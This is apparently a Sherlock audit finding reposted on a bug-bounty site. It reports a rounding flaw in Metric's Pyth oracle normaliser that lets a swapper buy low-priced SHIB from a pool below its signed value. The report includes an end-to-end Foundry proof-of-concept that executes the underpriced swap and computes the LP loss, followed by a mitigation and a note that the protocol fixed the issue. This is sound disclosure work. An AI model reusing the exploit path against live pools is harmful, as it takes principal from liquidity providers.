Discarding sub-quantum oracle precision lets low-priced assets trade below their signed value
The oracle normaliser floored low-priced feed values to eight decimals and computed the uncertainty band from the unrounded price, so the stored midpoint could sit further below the true signed price than the whole spread. A permissionless swapper could then buy the affected asset from the pool below its correct value, leaving liquidity providers with a small principal loss.
0x23r0 Follow with 0xastronatey, ABA and 40 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2083
Found by
0x23r0, 0xastronatey, ABA, ACai7, AestheticBhai, AskSecurity, CarlosMB138, D.R, Edoscoba, GPT-wrapper, Invalidatoors, Ironsidesec, Jornason, Lucas-FManager, Pelz, PhinanzDev, Ryozen, Sacnam, SiddiqX7860, Tradi3, adshao, anchabadze, angus14, ap4sh, buger, cccz, coinsspor, fadli0x, gzeon, ibrahimatix0x01, jayjoshix, legat, natachi, newspacexyz, pkqs90, polymix123, ret2basic.eth, rubencrxz, santin0x, sgtpepper, taticuvostru, thimthor, vivekd
Summary
Flooring supported oracle prices to eight decimals without including the discarded remainder in the uncertainty band will cause a loss of principal for liquidity providers as a permissionless swapper will buy low-priced tokens from the pool below their correct signed oracle value.
Root Cause
In LazerConsumer._normalize, pU is divided by 10 ** (-totalExpo) using flooring integer division when a feed has more than eight decimal places. The discarded remainder is not included when spreadU is calculated:
if (totalExpo >= 0) {
rawPrice = pU * (10 ** totalExpo.toUint256());
} else {
rawPrice = pU / (10 ** (-totalExpo).toUint256());
}
normPrice = rawPrice.toUint64();
spreadU = Math.ceilDiv(BPS_BASE * uint256(conf), pU);
The normalized midpoint can therefore be farther below the correctly signed price than the entire encoded uncertainty. AnchoredPriceProvider._computeBidAsk constructs its protective band around this already biased midpoint, so its outward Q64 rounding cannot recover the information discarded earlier.
This does not require an incorrect or stale oracle update. It occurs while processing an otherwise correct and fresh Pyth report.
Internal Pre-conditions
- A pool needs to use a Pyth Lazer feed with an exponent below
-8while the normalized eight-decimal midpoint remains nonzero. Metric's Ethereum feed configuration explicitly maps SHIB/USDC to Pyth Lazer feed20. - The encoded oracle spread, provider margin, optional pool fees, and curve movement together need to be smaller than the normalization remainder.
- In the demonstrated permitted configuration, the immutable anchored provider has a positive
1 bpsminimum margin, optional additional/notional fees are zero, andlengthE6 = 1gives0.01 bpstotal bin movement. The provider constructor permits this margin, while the pool factory accepts any nonzero bin length and zero encoded bin fees. - An LP needs to fund the SHIB side of the active bin. The PoC uses
25,000,000,000 SHIB, worth$102,942.50at the correct report midpoint. - The pool needs to be unpaused so permissionless swaps can execute.
External Pre-conditions
- A correct Pyth report needs to contain a discarded remainder larger than the protections above. The historical SHIB/USD report at microsecond timestamp
1784255759800000satisfies this withprice = 41177,exponent = -10, andconfidence = 33. - For immediate realization, an external bid needs to remain above the pool's truncation-biased execution price. The same observation records
best_bid_price = 41173. Pyth documentsbestBidPriceas experimental, so the Medium loss calculation relies on the contest-assumed-correct aggregate midpoint; the best-bid field is additional contemporaneous evidence of realizable gross profit, not the sole basis for impact.
No oracle malfunction, stale update, non-standard token behavior, or privileged attacker action is required.
Attack Path
- A valid SHIB/USD report containing
price = 41177,exponent = -10, andconfidence = 33is submitted throughPythOracle. LazerConsumer._normalizecomputestotalExpo = -2and floors41177 / 100to411. The stored midpoint becomes411e-8instead of411.77e-8.- The normalizer records only
ceil(10,000 * 33 / 41177) = 9 bps. The discarded77e-10remainder is approximately18.699760 bpsof the correct price. - The actual immutable
AnchoredPriceProviderapplies the complete9 bpsoracle spread and positive1 bpsminimum margin around the truncated midpoint. - A permissionless swapper performs an exact-output swap and buys
25,000,000,000 SHIBfrom the one-unit active bin using USDC. Average curve movement contributes approximately0.005 bps. - The swapper pays
$102,852.801427while the transferred SHIB is worth$102,942.50at the contest-assumed-correct report midpoint. - The LP therefore realizes a
$89.698573mark-to-market principal loss. At the observation's41173e-10best bid, the position produces$102,932.50and leaves$79.698573gross profit before gas and external venue fees.
The complete protection inequality is:
18.699760 bps truncation bias
> 9 bps oracle spread
+ 1 bps provider margin
+ ~0.005 bps average bin movement
The oracle spread becomes the pool's base bid/ask protection and is included once. Optional additional and notional fees are validly zero in the demonstrated configuration.
Impact
The affected LP suffers an approximate principal loss of $89.698573, equal to 0.08713463% of the $102,942.50 affected position. The attacker obtains $89.698573 of value relative to the correct aggregate midpoint; the contemporaneous experimental best-bid field independently indicates $79.698573 of gross immediately realizable profit before gas and external venue fees.
This exceeds both contest Medium thresholds: the affected principal loss is greater than 0.01% and greater than $10.
PoC
Legitimate inputs and production-path fidelity
-
Configured assets: Metric itself configures feed
20for Ethereum SHIB at0x95aD...C4cEand USDC at0xA0b8...eB48. Etherscan identifies these as an 18-decimal SHIB ERC-20 and 6-decimal USDC ERC-20. The PoC uses standard local ERC-20 instances with those exact decimals because the issue does not depend on balances or behavior of the deployed token contracts. -
Configured feed: Metric's configuration identifies Pyth Lazer feed
20as SHIB/USDC's reference. Pyth's symbol endpoint identifies feed20asCrypto.SHIB/USDwith exponent-10. -
Genuine values: The exact historical Pyth response contains
price_feed_id = 20,price = 41177,exponent = -10,confidence = 33,best_bid_price = 41173, andpublish_time = 1784255759800000. Pyth's History API documentation specifies the timestamped price endpoint, and its payload reference definesactual_price = price * 10^exponentand the confidence field. The exact response used by the PoC is embedded below so reproduction does not depend on future unauthenticated access to the endpoint:JSON { "price_feed_id": 20, "price": 41177, "exponent": -10, "confidence": 33, "best_bid_price": 41173, "best_ask_price": 41183, "publisher_count": 9, "publish_time": 1784255759800000, "feed_update_timestamp": 1784255759800000 } -
Production contracts: The single PoC deploys the vendored
PythLazerimplementation, the in-scopePythOracleand inheritedLazerConsumer, the actual in-scopeAnchoredPriceProvider, and the actualMetricOmmPool. It does not inject a normalized midpoint, mock the oracle output, or copy the provider's band math. -
Production read path: The protocol's Ethereum deployment script binds
PythOracleto Pyth Lazer. Updates enter throughPythOracle.fallback, the pool is registered, andOracleBase.pricechecks the registered pool and itsinSwapattribution. During the swap,MetricOmmPoolexposes the active provider throughinSwapand calls that provider for bid/ask prices. -
Test-only mechanics: The historical REST response exposes parsed values rather than a reusable production EVM signature. The PoC therefore signs the exact historical fields with a signer authorized only on the locally deployed
PythLazerinstance; the realPythLazer.verifyUpdatecode still verifies the payload. A minimalisPooladapter represents the factory registry because factory governance is unrelated to the normalization defect. Neither test-only choice changes price normalization, anchored-band construction, token scaling, or swap settlement. -
Permitted rather than guaranteed pool state: The
1 bpsmargin, zero optional fees, and one-unit bin are valid protocol parameters. The report does not claim every deployed pool will use them; they are the specific reachable state required by this Medium-severity path.
PoC
This is one end-to-end Foundry test. It verifies the signed payload, normalizes it through the real consumer, constructs the band with the real provider, performs the real pool's registered inSwap oracle read, and executes the funded SHIB/USDC swap.
To permit the test to import the sibling in-scope module, add:
# metric-core/foundry.toml
allow_paths = ["../smart-contracts-poc"]
# metric-core/remappings.txt
@openzeppelin/contracts-upgradeable/=../smart-contracts-poc/lib/openzeppelin-contracts-upgradeable/contracts/
pyth-lazer-sdk/=../smart-contracts-poc/lib/pyth-crosschain/lazer/contracts/evm/src/
smart-contracts-poc/=../smart-contracts-poc/
Save the following test as metric-core/test/OracleNormalizationTruncationPoC.t.sol:
From the repository root, run:
cd metric-core && forge test --match-path test/OracleNormalizationTruncationPoC.t.sol -vv
Observed output:
fair LP principal: 102942.500000000000000000
quote paid by swapper: 102852.801427000000000000
LP loss: 89.698573000000000000
gross arbitrage profit: 79.698573000000000000
loss bps x 1e6: 8.713463
Test:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;
import {MetricOmmPoolBaseTest} from "./MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "../contracts/MetricOmmPool.sol";
import {BinState} from "../contracts/types/PoolStorage.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
import {PythOracle} from "smart-contracts-poc/contracts/oracles/providers/PythOracle.sol";
import {AnchoredPriceProvider} from "smart-contracts-poc/contracts/AnchoredPriceProvider.sol";
import {PythLazer} from "pyth-lazer-sdk/PythLazer.sol";
import {PythLazerStructs} from "pyth-lazer-sdk/PythLazerStructs.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {LazerTestPayload} from "smart-contracts-poc/test/utils/LazerTestPayload.sol";
/// @notice End-to-end reproduction of low-price oracle normalization truncation through the production contracts:
/// PythLazer -> PythOracle/LazerConsumer -> AnchoredPriceProvider -> MetricOmmPool.
contract OracleNormalizationTruncationPoC is MetricOmmPoolBaseTest {
uint32 internal constant SHIB_USD_FEED_ID = 20;
bytes32 internal constant SHIB_USD_FEED = bytes32(uint256(SHIB_USD_FEED_ID));
// Genuine Pyth feed-20 observation at timestamp 1784255759800000:
// price=41177, exponent=-10, confidence=33, best_bid_price=41173.
uint256 internal constant RAW_PRICE = 41_177;
uint256 internal constant EXTERNAL_BEST_BID = 41_173;
uint256 internal constant RAW_PRICE_SCALE = 1e10;
// At the signed midpoint this position is worth $102,942.50.
uint256 internal constant LP_SHIB = 25_000_000_000e18;
PythOracle internal pythOracle;
AnchoredPriceProvider internal anchoredProvider;
function setUp() public override {
// Keep the signed update fresh relative to the historical feed timestamp.
vm.warp(1_784_255_760);
super.setUp();
// Match Metric's configured production pair: standard 18-decimal SHIB and 6-decimal USDC.
token0 = new MockERC20("Shiba Inu", "SHIB", 18);
token1 = new MockERC20("USD Coin", "USDC", 6);
// Deploy the same upgradeable PythLazer implementation verified updates use in production.
PythLazer implementation = new PythLazer();
TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
address(implementation),
address(this),
abi.encodeWithSelector(PythLazer.initialize.selector, address(this))
);
PythLazer lazer = PythLazer(address(proxy));
lazer.updateTrustedSigner(LazerTestPayload.signer(), 3_000_000_000_000_000);
// Production PythOracle configuration: Price, Exponent, Confidence, FeedUpdateTimestamp.
uint8[] memory expectedProperties = new uint8[](4);
expectedProperties[0] = 0;
expectedProperties[1] = 4;
expectedProperties[2] = 5;
expectedProperties[3] = 12;
pythOracle = new PythOracle(address(this), address(lazer), 60, expectedProperties);
vm.deal(address(pythOracle), 1 ether); // operational reserve pays Pyth's 1-wei verification fee
// Reproduce the genuine feed values in a payload signed by the test-authorized signer.
uint64 tsMicros = 1_784_255_759_800_000;
bytes[] memory feeds = new bytes[](1);
feeds[0] =
LazerTestPayload.buildFeed(SHIB_USD_FEED_ID, 41_177, -10, 33, tsMicros);
bytes memory signedUpdate = LazerTestPayload.signAndWrap(
LazerTestPayload.buildPayload(
tsMicros,
uint8(PythLazerStructs.Channel.FixedRate200),
feeds
)
);
// PythOracle's production update entry point:
// [feedsLength:2][feedIds:feedsLength*4][signed Pyth update].
(bool pushed, bytes memory reason) = address(pythOracle).call(
abi.encodePacked(uint16(1), SHIB_USD_FEED_ID, signedUpdate)
);
if (!pushed) {
assembly ("memory-safe") {
revert(add(reason, 0x20), mload(reason))
}
}
// Deploy the real immutable AnchoredPriceProvider in reference mode.
anchoredProvider = new AnchoredPriceProvider(
address(this),
address(pythOracle),
SHIB_USD_FEED,
bytes32(0),
1e14, // positive 1-bps minimum margin on top of oracle uncertainty
1 hours,
1_000,
false,
0,
address(token0),
address(token1)
);
BinState[] memory nonNegative = new BinState[](1);
nonNegative[0] = BinState({
token0BalanceScaled: 0,
token1BalanceScaled: 0,
lengthE6: 1, // 0.01 bps total curve movement; ~0.005 bps average
addFeeBuyE6: 0,
addFeeSellE6: 0
});
pool = _deployPoolAndRegister(
PoolDeployParams({
priceProvider: address(anchoredProvider),
extensions: _emptyExtensions(),
extensionOrders: _emptyExtensionOrders(),
immutablePriceProvider: true,
protocolSpreadFeeE6: 0,
adminSpreadFeeE6: 0,
curBinDistFromProvidedPriceE6: 0,
nonNegativeBinStates: nonNegative,
negativeBinStates: new BinState[](0),
protocolNotionalFeeE8: 0,
adminNotionalFeeE8: 0,
immutablePriceProviderForRegistry: address(anchoredProvider),
lowestBin: 0,
highestBin: 0
})
);
_approveUsersForPool(address(pool));
// Reproduce OracleBase's production abuse-protection setup.
pythOracle.addApprovedFactory(address(this));
pythOracle.register{value: 1 wei}(SHIB_USD_FEED, address(pool), address(this));
// Whitelisting this test only exposes the stored tuple for an explicit root-cause assertion.
// The pool itself still reads through the production registered-pool/inSwap path.
pythOracle.addIntegrator(address(this));
token1.mint(address(callers[0]), 200_000e6);
token0.mint(address(callers[1]), LP_SHIB);
_addLiquidity(1, 0, 0, uint104(LP_SHIB), 0);
}
/// @dev OracleBase.register calls the exact factory surface used in production.
function isPool(address candidate) external view returns (bool) {
return candidate == address(pool);
}
function test_realOracleToPoolPathCausesQualifyingLpLoss() external {
// The real oracle consumer has normalized 41177e-10 to 411e-8 while retaining only 9 bps.
(uint256 normalizedMid, uint256 spreadBps,,) =
pythOracle.integratorPrice(SHIB_USD_FEED);
assertEq(normalizedMid, 411);
assertEq(spreadBps, 9);
// The actual pool sets inSwap=anchoredProvider, the actual provider reads the registered
// PythOracle feed, and the swap consumes the entire funded SHIB bin.
(int256 amount0Delta, int256 amount1Delta) =
_swap(0, users[0], false, _i128ExactOut(uint128(LP_SHIB)), type(uint128).max);
uint256 shibOut = uint256(-amount0Delta);
uint256 quotePaidToLp = uint256(amount1Delta) * 1e12; // USDC 6 -> 18 decimals
uint256 fairQuoteValue = shibOut * RAW_PRICE / RAW_PRICE_SCALE;
uint256 lpLoss = fairQuoteValue - quotePaidToLp;
uint256 executableBidProceeds =
shibOut * EXTERNAL_BEST_BID / RAW_PRICE_SCALE;
uint256 arbitrageProfit = executableBidProceeds - quotePaidToLp;
assertEq(shibOut, LP_SHIB);
assertGt(lpLoss, 10e18, "loss exceeds Sherlock's $10 Medium floor");
assertGt(lpLoss * 10_000, fairQuoteValue, "loss exceeds 0.01% of LP principal");
assertGt(arbitrageProfit, 10e18, "historical best bid leaves qualifying gross profit");
emit log_named_decimal_uint("fair LP principal", fairQuoteValue, 18);
emit log_named_decimal_uint("quote paid by swapper", quotePaidToLp, 18);
emit log_named_decimal_uint("LP loss", lpLoss, 18);
emit log_named_decimal_uint("gross arbitrage profit", arbitrageProfit, 18);
emit log_named_decimal_uint(
"loss bps x 1e6",
lpLoss * 10_000_000_000 / fairQuoteValue,
6
);
}
}
Mitigation
When totalExpo < 0, preserve the quotient and remainder. Either retain sufficient midpoint precision throughout the provider path or conservatively add the lost quantization error to the spread:
uint256 divisor = 10 ** (-totalExpo).toUint256();
uint256 remainder = pU % divisor;
rawPrice = pU / divisor;
uint256 confidenceBps = Math.ceilDiv(BPS_BASE * uint256(conf), pU);
uint256 quantizationBps = Math.ceilDiv(BPS_BASE * remainder, pU);
spreadU = confidenceBps + quantizationBps;
if (spreadU > BPS_BASE) spreadU = BPS_BASE;
Fail closed if the widened spread reaches the stall bound. Add regression tests for supported low-price feeds using worst-case remainders and assert that no executable bid/ask lies inside the amount discarded during normalization.
Discussion
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/Oracle-Based-Pool/smart-contracts-poc/commit/8ff54f90ecdd7d4e74c36a091df602310f7fe114
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the normaliser used flooring integer division for negative exponents and calculated the spread from the pre-division value, so the discarded remainder was never added to the uncertainty band.
Impact
The affected liquidity provider could lose about 0.087% of the position, and the swapper could gain that value relative to the correct midpoint, though the realised profit depends on an external bid staying above the biased execution price.
What the attacker needed
Pool uses a feed with exponent below -8; small oracle spread and provider margin; LP funds the active bin; pool is unpaused
The fix
The protocol team fixed this issue, and the report recommends keeping the division remainder and adding the lost precision to the spread, failing closed if the widened spread reaches the stall bound.
How it was found
- A valid low-priced feed report with a negative exponent is submitted through the oracle contract.
- The normaliser floors the price to eight decimals and records a spread that ignores the discarded remainder.
- The anchored price provider builds its bid/ask band around the already biased midpoint.
- A permissionless swapper performs an exact-output swap and buys the whole funded bin of the asset.
- The swapper pays less than the asset's correct value, and the liquidity provider takes a principal loss.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An oracle is a service that feeds outside prices into a contract. Here the contract shortened a very small price by chopping off digits, but it did not widen its 'give or take' margin to cover the chopped part. That made the pool think the asset was worth slightly less than it really was, so a trader could buy it cheaply and the liquidity provider lost a little money.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.